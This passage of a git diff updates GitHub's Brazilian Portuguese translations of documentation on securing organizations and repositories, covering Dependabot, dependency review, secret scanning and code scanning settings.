+Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)," "[Explorar as dependências de um repositório](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository) e "[Gerenciar configurações de segurança e análise para sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)".
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4864 or ghec %}
 
-## Managing dependency review
+## Gerenciando revisão de dependências
 
-Dependency review is an {% data variables.product.prodname_advanced_security %} feature that lets you visualize dependency changes in pull requests before they are merged into your repositories. For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)."
+A revisão de dependências é um recurso de {% data variables.product.prodname_advanced_security %} que permite visualizar alterações de dependência em pull requests antes de serem mesclados nos seus repositórios. Para obter mais informações, consulte "[Sobre a revisão de dependências](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)".
 
-{% ifversion fpt or ghec %}Dependency review is already enabled for all public repositories. {% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable dependency review for private and internal repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-organization#managing-dependency-review). {% endif %}{% endif %}{% ifversion ghec %}For private and internal repositories that are owned by an organization, you can enable dependency review by enabling the dependency graph and enabling {% data variables.product.prodname_advanced_security %} (see below). 
-{% elsif ghes or ghae %}Dependency review is available when dependency graph is enabled for {% data variables.product.product_location %} and you enable {% data variables.product.prodname_advanced_security %} for the organization (see below).{% endif %}
+{% ifversion fpt or ghec %}A revisão de Dependência já está habilitada para todos os repositórios públicos. {% ifversion fpt %}As organizações que usam {% data variables.product.prodname_ghe_cloud %} com {% data variables.product.prodname_advanced_security %} podem habilitar a revisão de dependências adicionalmente para repositórios privados e internos. Para obter mais informações, consulte a [documentação de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/getting-started/securing-your-organization#managing-dependency-review). {% endif %}{% endif %}{% ifversion ghec %}Para repositórios privados e internos pertencentes a uma organização, você pode habilitar a revisão de dependência, habilitando o gráfico de dependências e habilitando {% data variables.product.prodname_advanced_security %} (veja abaixo).
+{% elsif ghes or ghae %}A revisão de dependência está disponível quando o gráfico de dependências estiver habilitado para {% data variables.product.product_location %} e você habilitar {% data variables.product.prodname_advanced_security %} para a organização (veja abaixo).{% endif %}
 
 {% endif %}
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
-## Managing {% data variables.product.prodname_dependabot_security_updates %}
+## Gerenciar {% data variables.product.prodname_dependabot_security_updates %}
 
-For any repository that uses {% data variables.product.prodname_dependabot_alerts %}, you can enable {% data variables.product.prodname_dependabot_security_updates %} to raise pull requests with security updates when vulnerabilities are detected. You can also enable or disable {% data variables.product.prodname_dependabot_security_updates %} for all repositories across your organization.
+Para qualquer repositório que usar {% data variables.product.prodname_dependabot_alerts %}, você pode habilitar {% data variables.product.prodname_dependabot_security_updates %} para abrir pull requests com atualizações de segurança quando forem detectadas vulnerabilidades. Você também pode habilitar ou desabilitar {% data variables.product.prodname_dependabot_security_updates %} para todos os repositórios da sua organização.
 
-1. Click your profile photo, then click **Organizations**.
-2. Click **Settings** next to your organization.
-3. Click **Security & analysis**.
-4. Click **Enable all** or **Disable all** next to {% data variables.product.prodname_dependabot_security_updates %}.
-5. Optionally, select **Automatically enable for new repositories**. 
+1. Clique na sua foto de perfil e clique em **Organizações**.
+2. Clique em **Configurações** ao lado da sua organização.
+3. Clique em **Segurança & análise**.
+4. Clique em **Habilitar todos** ou **Desabilitar todos** ao lado de {% data variables.product.prodname_dependabot_security_updates %}.
+5. Opcionalmente, selecione **Habilitar automaticamente para novos repositórios**.
 
-For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-dependabot-security-updates)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-dependabot-security-updates)" e "[Gerenciar configurações de segurança e análise para a sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)".
 
-## Managing {% data variables.product.prodname_dependabot_version_updates %}
+## Gerenciar {% data variables.product.prodname_dependabot_version_updates %}
 
-You can enable {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates)."
+Você pode habilitar {% data variables.product.prodname_dependabot %} para aumentar automaticamente os pull requests para manter suas dependências atualizadas. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates)".
 
-To enable {% data variables.product.prodname_dependabot_version_updates %}, you must create a *dependabot.yml* configuration file. For more information, see "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)."
+Para habilitar {% data variables.product.prodname_dependabot_version_updates %}, você deve criar um arquivo de configuração *dependabot.yml*. Para obter mais informações, consulte "[Habilitando e desabilitando as atualizações da versão de {% data variables.product.prodname_dependabot %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)".
 
 {% endif %}
 
 {% ifversion ghes > 2.22 or ghae or ghec %}
-## Managing {% data variables.product.prodname_GH_advanced_security %}
+## Gerenciar {% data variables.product.prodname_GH_advanced_security %}
 
 {% ifversion ghes > 2.22 or ghec %}
-If your {% ifversion ghec %}organization is owned by an enterprise that{% else %}enterprise{% endif %} has an {% data variables.product.prodname_advanced_security %} license, you can enable or disable {% data variables.product.prodname_advanced_security %} features.
+Se a sua organização {% ifversion ghec %}é propriedade de uma empresa essa{% else %}empresa{% endif %} tem uma licença de {% data variables.product.prodname_advanced_security %}, você pode habilitar ou desabilitar funcionalidades de {% data variables.product.prodname_advanced_security %}.
 {% elsif ghae %}
-You can enable or disable {% data variables.product.prodname_advanced_security %} features.
+Você pode habilitar ou desabilitar funcionalidades de {% data variables.product.prodname_advanced_security %}.
 {% endif %}
 
-1. Click your profile photo, then click **Organizations**.
-2. Click **Settings** next to your organization.
-3. Click **Security & analysis**.
-4. Click **Enable all** or **Disable all** next to {% data variables.product.prodname_GH_advanced_security %}.
-5. Optionally, select **Automatically enable for new private repositories**. 
+1. Clique na sua foto de perfil e clique em **Organizações**.
+2. Clique em **Configurações** ao lado da sua organização.
+3. Clique em **Segurança & análise**.
+4. Clique em **Habilitar todos** ou **Desabilitar todos** ao lado de {% data variables.product.prodname_GH_advanced_security %}.
+5. Opcionalmente, selecione **Habilitar automaticamente para novos repositórios privados**.
 
-For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)" e "[Gerenciar configurações de segurança e análise para a sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)".
 {% endif %}
 
 {% ifversion fpt or ghes > 2.22 or ghae or ghec %}
-## Configuring {% data variables.product.prodname_secret_scanning %}
+## Configurar o {% data variables.product.prodname_secret_scanning %}
 
-{% data variables.product.prodname_secret_scanning_caps %} is an {% data variables.product.prodname_advanced_security %} feature that scans repositories for secrets that are insecurely stored.
+{% data variables.product.prodname_secret_scanning_caps %} é um recurso de {% data variables.product.prodname_advanced_security %} que digitaliza repositórios com relação aos segredos que são armazenados de forma insegura.
 
-{% ifversion fpt or ghec %}{% data variables.product.prodname_secret_scanning_caps %} is already enabled for all public repositories. Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable {% data variables.product.prodname_secret_scanning %} for private and internal repositories.{% endif %} {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-organization#configuring-secret-scanning). {% endif %}
+{% ifversion fpt or ghec %}{% data variables.product.prodname_secret_scanning_caps %} já está habilitado para todos os repositórios públicos. As organizações que usam {% data variables.product.prodname_ghe_cloud %} com {% data variables.product.prodname_advanced_security %} podem adicionalmente habilitar {% data variables.product.prodname_secret_scanning %} para repositórios privados e internos.{% endif %} {% ifversion fpt %}Para obter mais informações, consulte a [documentação de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/getting-started/securing-your-organization#configuring-secret-scanning). {% endif %}
 
-{% ifversion ghes or ghae %}{% data variables.product.prodname_secret_scanning_caps %} is available if your enterprise uses {% data variables.product.prodname_advanced_security %}.{% endif %}
+{% ifversion ghes or ghae %}{% data variables.product.prodname_secret_scanning_caps %} está disponível se a sua empresa usa {% data variables.product.prodname_advanced_security %}.{% endif %}
 
 {% ifversion not fpt %}
-You can enable or disable {% data variables.product.prodname_secret_scanning %} for all repositories across your organization that have {% data variables.product.prodname_advanced_security %} enabled.
+Você pode habilitar ou desabilitar {% data variables.product.prodname_secret_scanning %} para todos os repositórios na sua organização com {% data variables.product.prodname_advanced_security %} habilitado.
 
-1. Click your profile photo, then click **Organizations**.
-2. Click **Settings** next to your organization.
-3. Click **Security & analysis**.
-4. Click **Enable all** or **Disable all** next to {% data variables.product.prodname_secret_scanning_caps %} ({% data variables.product.prodname_GH_advanced_security %} repositories only).
-5. Optionally, select **Automatically enable for private repositories added to {% data variables.product.prodname_advanced_security %}**. 
+1. Clique na sua foto de perfil e clique em **Organizações**.
+2. Clique em **Configurações** ao lado da sua organização.
+3. Clique em **Segurança & análise**.
+4. Clique **Habilitar todos** ou **Desabilitar todos ** ao lado de {% data variables.product.prodname_secret_scanning_caps %} (somente repositórios de {% data variables.product.prodname_GH_advanced_security %}).
+5. Opcionalmente, selecione **Habilitar automaticamente para repositórios privados adicionados a {% data variables.product.prodname_advanced_security %}**.
 
-For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+Para obter mais informações, consulte "[Gerenciar configurações de segurança e análise para sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)".
 {% endif %}
 
 {% endif %}
 
-## Configuring {% data variables.product.prodname_code_scanning %}
+## Configurar o {% data variables.product.prodname_code_scanning %};
 
-{% data variables.product.prodname_code_scanning_capc %} is an {% data variables.product.prodname_advanced_security %} feature that scans code for security vulnerabilities and errors
+{% data variables.product.prodname_code_scanning_capc %} é um recurso de {% data variables.product.prodname_advanced_security %} que digitaliza código para vulnerabilidades e erros de segurança
 
-{% ifversion fpt or ghec %}{% data variables.product.prodname_code_scanning_capc %} is available for all public repositories. Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally use {% data variables.product.prodname_code_scanning %} for private and internal repositories.{% else %}{% data variables.product.prodname_code_scanning_capc %} is available if your enterprise uses {% data variables.product.prodname_advanced_security %}.{% endif %}
+{% ifversion fpt or ghec %}{% data variables.product.prodname_code_scanning_capc %} já disponível para todos os repositórios públicos. As organizações que usam {% data variables.product.prodname_ghe_cloud %} com {% data variables.product.prodname_advanced_security %} podem adicionalmente usar {% data variables.product.prodname_code_scanning %} para repositórios privados ou internos.{% else %}{% data variables.product.prodname_code_scanning_capc %} está disponível se sua empresa usar {% data variables.product.prodname_advanced_security %}.{% endif %}
 
-{% data variables.product.prodname_code_scanning_capc %} is configured at the repository level. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
+{% data variables.product.prodname_code_scanning_capc %} está configurado no nível do repositório. Para obter mais informações, consulte "[Configurar {% data variables.product.prodname_code_scanning %} para um repositório](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)".
 
-## Next steps
-{% ifversion fpt or ghes > 3.1 or ghec %}You can view, filter, and sort security alerts for repositories owned by your organization in the security overview. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)."{% endif %}
+## Próximas etapas
+{% ifversion fpt or ghes > 3.1 or ghec %}Você pode visualizar, filtrar e organizar alertas de segurança em repositórios pertencentes à sua organização na visão geral de segurança. Para obter mais informações, consulte "[Sobre a visão geral de segurança](/code-security/security-overview/about-the-security-overview)".{% endif %}
 
-You can view and manage alerts from security features to address dependencies and vulnerabilities in your code. For more information, see {% ifversion fpt or ghes > 2.22 or ghec %} "[Viewing and updating vulnerable dependencies in your repository](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository),"{% endif %} {% ifversion fpt or ghec or ghes > 3.2 %}"[Managing pull requests for dependency updates](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Managing {% data variables.product.prodname_code_scanning %} for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," and "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)."
+Você pode visualizar e gerenciar alertas de funcionalidades de segurança para resolver dependências e vulnerabilidades no seu código. Para obter mais informações, consulte {% ifversion fpt or ghes > 2.22 or ghec %} "[Visualizar e atualizar as dependências vulneráveis no seu repositório](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository),"{% endif %} {% ifversion fpt or ghec or ghes > 3.2 %}"[Gerenciar pull requests para atualizações de dependência](/code-security/supply-chain-security/managing-pull-requests-for-dependency-updates)," {% endif %}"[Gernciar {% data variables.product.prodname_code_scanning %} para o seu repositório](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository)," e "[Gerenciar alertas de {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/managing-alerts-from-secret-scanning)."
 
-{% ifversion fpt or ghec %}If you have a security vulnerability, you can create a security advisory to privately discuss and fix the vulnerability. For more information, see "[About {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)" and "[Creating a security advisory](/code-security/security-advisories/creating-a-security-advisory)."
+{% ifversion fpt or ghec %}Se você tiver uma vulnerabilidade de segurança, você poderá criar uma consultoria de segurança para discutir em privado e corrigir a vulnerabilidade. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)" e " "[Criar uma consultoria de segurança](/code-security/security-advisories/creating-a-security-advisory)".
 {% endif %}
diff --git a/translations/pt-BR/content/code-security/getting-started/securing-your-repository.md b/translations/pt-BR/content/code-security/getting-started/securing-your-repository.md
index eb7b4888b2..0b9c98f2b2 100644
--- a/translations/pt-BR/content/code-security/getting-started/securing-your-repository.md
+++ b/translations/pt-BR/content/code-security/getting-started/securing-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Securing your repository
-intro: 'You can use a number of {% data variables.product.prodname_dotcom %} features to help keep your repository secure.'
+title: Proteger o repositório
+intro: 'Você pode usar uma série de funcionalidades de {% data variables.product.prodname_dotcom %} para ajudar a manter seu repositório protegido.'
 permissions: Repository administrators and organization owners can configure repository security settings.
 redirect_from:
   - /github/administering-a-repository/about-securing-your-repository
@@ -16,83 +16,83 @@ topics:
   - Dependencies
   - Vulnerabilities
   - Advanced Security
-shortTitle: Secure your repository
+shortTitle: Proteja seu repositório
 ---
 
-## Introduction
-This guide shows you how to configure security features for a repository. You must be a repository administrator or organization owner to configure security settings for a repository.
+## Introdução
+Este guia mostra como configurar as funcionalidades de segurança para um repositório. Você deve ser um administrador ou proprietário da organização do repositório para definir as configurações de segurança para um repositório.
 
-Your security needs are unique to your repository, so you may not need to enable every feature for your repository. For more information, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)."
+As suas necessidades de segurança são únicas para o seu repositório. Portanto, talvez não seja necessário habilitar todos os recursos para o seu repositório. Para obter mais informações, consulte "[Funcionalidades de segurança de {% data variables.product.prodname_dotcom %}](/code-security/getting-started/github-security-features)".
 
 {% data reusables.advanced-security.security-feature-availability %}
 
-## Managing access to your repository
+## Fixar um problema no repositório
 
-The first step to securing a repository is to set up who can see and modify your code. For more information, see "[Managing repository settings](/github/administering-a-repository/managing-repository-settings)."
+O primeiro passo para proteger um repositório é configurar quem pode ver e modificar o seu código. Para obter mais informações, consulte "[Gerenciar configurações do repositório](/github/administering-a-repository/managing-repository-settings)".
 
-From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**, then scroll down to the "Danger Zone."
+Na página principal do seu repositório, clique em **{% octicon "gear" aria-label="The Settings gear" %}configurações**e, em seguida, desça a barra de rolagem até a "Zona de perigo".
 
-- To change who can view your repository, click **Change visibility**. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)."{% ifversion fpt or ghec %}
-- To change who can access your repository and adjust permissions, click **Manage access**. For more information, see"[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)."{% endif %}
+- Para alterar quem pode visualizar seu repositório, clique em **Alterar a visibilidade**. Para obter mais informações, consulte "[Configurar a visibilidade do repositório](/github/administering-a-repository/setting-repository-visibility)."{% ifversion fpt or ghec %}
+- Para alterar quem pode acessar o seu repositório e ajustar as permissões, clique em **Gerenciar acesso**. Para obter mais informações, consulte[Gerenciar equipes e pessoas com acesso ao seu repositório](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)".{% endif %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-## Setting a security policy
+## Definir uma política de segurança
 
-1. From the main page of your repository, click **{% octicon "shield" aria-label="The shield symbol" %} Security**.
-2. Click **Security policy**.
-3. Click **Start setup**.
-4. Add information about supported versions of your project and how to report vulnerabilities.
+1. Na página principal do repositório, clique em **{% octicon "shield" aria-label="The shield symbol" %} Segurança**.
+2. Clique em **Política de segurança**.
+3. Clique em **Start setup** (Iniciar configuração).
+4. Adicione informações sobre versões compatíveis do seu projeto e como relatar vulnerabilidades.
 
-For more information, see "[Adding a security policy to your repository](/code-security/getting-started/adding-a-security-policy-to-your-repository)."
+Para obter mais informações, consulte "[Adicionar uma política de segurança ao seu repositório](/code-security/getting-started/adding-a-security-policy-to-your-repository)".
 
 {% endif %}
 
 {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-## Managing the dependency graph
+## Gerenciar o gráfico de dependências
 
 {% ifversion fpt or ghec %}
-The dependency graph is automatically generated for all public repositories, and you can choose to enable it for private repositories. It interprets manifest and lock files in a repository to identify dependencies.
+O gráfico de dependências é gerado automaticamente para todos os repositórios públicos e você pode optar por habilitá-lo para repositórios privados. Ele interpreta o manifesto e os arquivos de bloqueio em um repositório para identificar dependências.
 
-1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %} Settings**.
-2. Click **Security & analysis**.
-3. Next to Dependency graph, click **Enable** or **Disable**.
+1. Na página principal do repositório, clique em **{% octicon "gear" aria-label="The Settings gear" %} Configurações**.
+2. Clique em **Segurança & análise**.
+3. Ao lado do gráfico de dependência, clique em **Habilitar ** ou **Desabilitar**.
 {% endif %}
 
 {% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %}
 
-For more information, see "[Exploring the dependencies of a repository](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)."
+Para obter mais informações, consulte "[Explorar as dependências de um repositório](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository)".
 
 {% endif %}
 
 {% ifversion fpt or ghes or ghae-issue-4864 or ghec %}
-## Managing {% data variables.product.prodname_dependabot_alerts %}
+## Gerenciar {% data variables.product.prodname_dependabot_alerts %}
 
-{% data variables.product.prodname_dependabot_alerts %} are generated when {% data variables.product.prodname_dotcom %} identifies a dependency in the dependency graph with a vulnerability. {% ifversion fpt or ghec %}You can enable {% data variables.product.prodname_dependabot_alerts %} for any repository.{% endif %}
+{% data variables.product.prodname_dependabot_alerts %} são gerados quando {% data variables.product.prodname_dotcom %} identifica uma dependência no gráfico de dependências com uma vulnerabilidade. {% ifversion fpt or ghec %}Você pode habilitar {% data variables.product.prodname_dependabot_alerts %} para qualquer repositório.{% endif %}
 
 {% ifversion fpt or ghec %}
-1. Click your profile photo, then click **Settings**.
-2. Click **Security & analysis**.
-3. Click **Enable all** next to {% data variables.product.prodname_dependabot_alerts %}.
+1. Clique na foto do seu perfil e clique em **Configurações**.
+2. Clique em **Segurança & análise**.
+3. Clique em **Habilitar todos** ao lado de {% data variables.product.prodname_dependabot_alerts %}.
 {% endif %}
 
 {% data reusables.dependabot.dependabot-alerts-beta %}
 {% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %}
 
-For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies){% ifversion fpt or ghec %}" and "[Managing security and analysis settings for your user account](/github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account){% endif %}."
+Para obter mais informações, consulte "[Sobre alertas para dependências vulneráveis](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies){% ifversion fpt or ghec %}" e[Gerenciar as configurações de segurança e análise da sua conta de usuário](/github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account){% endif %}."
 
 {% endif %}
 
 {% ifversion fpt or ghes > 3.1 or ghae-issue-4864 or ghec %}
-## Managing dependency review
+## Gerenciando revisão de dependências
 
-Dependency review lets you visualize dependency changes in pull requests before they are merged into your repositories. For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)."
+A revisão de dependências permite visualizar alterações de dependência em pull requests antes de serem mescladas nos seus repositórios. Para obter mais informações, consulte "[Sobre a revisão de dependências](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)".
 
-Dependency review is a {% data variables.product.prodname_GH_advanced_security %} feature. {% ifversion fpt or ghec %}Dependency review is already enabled for all public repositories. {% ifversion fpt %}Organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %} can additionally enable dependency review for private and internal repositories. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-repository#managing-dependency-review). {% endif %}{% endif %}{% ifversion ghec or ghes or ghae %}To enable dependency review for a {% ifversion ghec %}private or internal {% endif %}repository, ensure that the dependency graph is enabled and enable {% data variables.product.prodname_GH_advanced_security %}. 
+A revisão de dependência é um recurso de {% data variables.product.prodname_GH_advanced_security %}. {% ifversion fpt or ghec %}A revisão de Dependência já está habilitada para todos os repositórios públicos. {% ifversion fpt %}As organizações que usam {% data variables.product.prodname_ghe_cloud %} com {% data variables.product.prodname_advanced_security %} podem habilitar a revisão de dependências adicionalmente para repositórios privados e internos. Para obter mais informações, consulte a [documentação de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/getting-started/securing-your-repository#managing-dependency-review). {% endif %}{% endif %}{% ifversion ghec or ghes or ghae %}Para habilitar a revisão de dependências para um repositório {% ifversion ghec %}privado ou interno {% endif %}, assegure que o gráfico de dependências esteja habilitado e habilite {% data variables.product.prodname_GH_advanced_security %}.
 
-1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**.
-2. Click **Security & analysis**.
-3. {% ifversion ghec %}If dependency graph is not already enabled, click **Enable**.{% elsif ghes or ghae %}Check that dependency graph is configured for your enterprise.{% endif %}
-4. If {% data variables.product.prodname_GH_advanced_security %} is not already enabled, click **Enable**.
+1. Na página principal do repositório, clique em **{% octicon "gear" aria-label="The Settings gear" %}Configurações**.
+2. Clique em **Segurança & análise**.
+3. {% ifversion ghec %}Se o gráfico de dependências não estiver habilitado, clique em **Ativar**.{% elsif ghes or ghae %}Verifique se o gráfico de dependências está configurado para a sua empresa.{% endif %}
+4. Se {% data variables.product.prodname_GH_advanced_security %} não estiver habilitado, clique em **Habilitar**.
 
 {% endif %}
 
@@ -100,42 +100,42 @@ Dependency review is a {% data variables.product.prodname_GH_advanced_security %
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
 
-## Managing {% data variables.product.prodname_dependabot_security_updates %}
+## Gerenciar {% data variables.product.prodname_dependabot_security_updates %}
 
-For any repository that uses {% data variables.product.prodname_dependabot_alerts %}, you can enable {% data variables.product.prodname_dependabot_security_updates %} to raise pull requests with security updates when vulnerabilities are detected.
+Para qualquer repositório que usar {% data variables.product.prodname_dependabot_alerts %}, você pode habilitar {% data variables.product.prodname_dependabot_security_updates %} para abrir pull requests com atualizações de segurança quando forem detectadas vulnerabilidades.
 
-1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**.
-2. Click **Security & analysis**.
-3. Next to {% data variables.product.prodname_dependabot_security_updates %}, click **Enable**.
+1. Na página principal do repositório, clique em **{% octicon "gear" aria-label="The Settings gear" %}Configurações**.
+2. Clique em **Segurança & análise**.
+3. Próximo a {% data variables.product.prodname_dependabot_security_updates %}, clique em **Habilitar**.
 
-For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-dependabot-security-updates)" and "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/configuring-dependabot-security-updates)."
+Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-dependabot-security-updates)" e "[Configurando {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/configuring-dependabot-security-updates)".
 
-## Managing {% data variables.product.prodname_dependabot_version_updates %}
+## Gerenciar {% data variables.product.prodname_dependabot_version_updates %}
 
-You can enable {% data variables.product.prodname_dependabot %} to automatically raise pull requests to keep your dependencies up-to-date. For more information, see "[About {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates)."
+Você pode habilitar {% data variables.product.prodname_dependabot %} para aumentar automaticamente os pull requests para manter suas dependências atualizadas. Para obter mais informações, consulte "[Sobre {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates)".
 
-To enable {% data variables.product.prodname_dependabot_version_updates %}, you must create a *dependabot.yml* configuration file. For more information, see "[Enabling and disabling {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)."
+Para habilitar {% data variables.product.prodname_dependabot_version_updates %}, você deve criar um arquivo de configuração *dependabot.yml*. Para obter mais informações, consulte "[Habilitando e desabilitando as atualizações da versão de {% data variables.product.prodname_dependabot %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)".
 
 {% endif %}
 
-## Configuring {% data variables.product.prodname_code_scanning %}
+## Configurar o {% data variables.product.prodname_code_scanning %};
 
-You can set up {% data variables.product.prodname_code_scanning %} to automatically identify vulnerabilities and errors in the code stored in your repository by using a {% data variables.product.prodname_codeql_workflow %} or third-party tool. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
+Você pode configurar {% data variables.product.prodname_code_scanning %} para identificar automaticamente vulnerabilidades e erros no código armazenado no seu repositório usando uma ferramenta de {% data variables.product.prodname_codeql_workflow %} ou de terceiros. Para obter mais informações, consulte "[Configurar {% data variables.product.prodname_code_scanning %} para um repositório](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)".
 
-{% data variables.product.prodname_code_scanning_capc %} is available {% ifversion fpt or ghec %}for all public repositories, and for private repositories owned by organizations that are part of an enterprise with a license for {% else %}for organization-owned repositories if your enterprise uses {% endif %}{% data variables.product.prodname_GH_advanced_security %}.
+{% data variables.product.prodname_code_scanning_capc %} está disponível {% ifversion fpt or ghec %}para todos os repositórios públicos e para os repositórios privados pertencentes a organizações que fazem parte de uma empresa com uma licença para {% else %}repositórios pertencentes a organização, se a empresa usar {% endif %}{% data variables.product.prodname_GH_advanced_security %}.
 
-## Configuring {% data variables.product.prodname_secret_scanning %}
+## Configurar o {% data variables.product.prodname_secret_scanning %}
 
-{% data variables.product.prodname_secret_scanning_caps %} is {% ifversion fpt or ghec %}enabled for all public repositories and is available for private repositories owned by organizations that are part of an enterprise with a license for {% else %}available for organization-owned repositories if your enterprise uses {% endif %}{% data variables.product.prodname_GH_advanced_security %}. {% ifversion fpt %}For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/getting-started/securing-your-repository#configuring-secret-scanning).{% else %}{% data variables.product.prodname_secret_scanning_caps %} may already be enabled for your repository, depending upon your organization's settings.
+{% data variables.product.prodname_secret_scanning_caps %} está {% ifversion fpt or ghec %}habilitado para todos os repositórios públicos e está disponível para repositórios privados pertencentes a organizações que fazem parte de uma empresa com uma licença para {% else %}disponível para repositórios de propriedade da organização se a empresa usar {% endif %}{% data variables.product.prodname_GH_advanced_security %}. {% ifversion fpt %}Para obter mais informações, consulte a [documentação de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/getting-started/securing-your-repository#configuring-secret-scanning).{% else %}{% data variables.product.prodname_secret_scanning_caps %} pode já estar habilitado para o repositório, dependendo das configurações da sua organização.
 
-1. From the main page of your repository, click **{% octicon "gear" aria-label="The Settings gear" %}Settings**.
-2. Click **Security & analysis**.
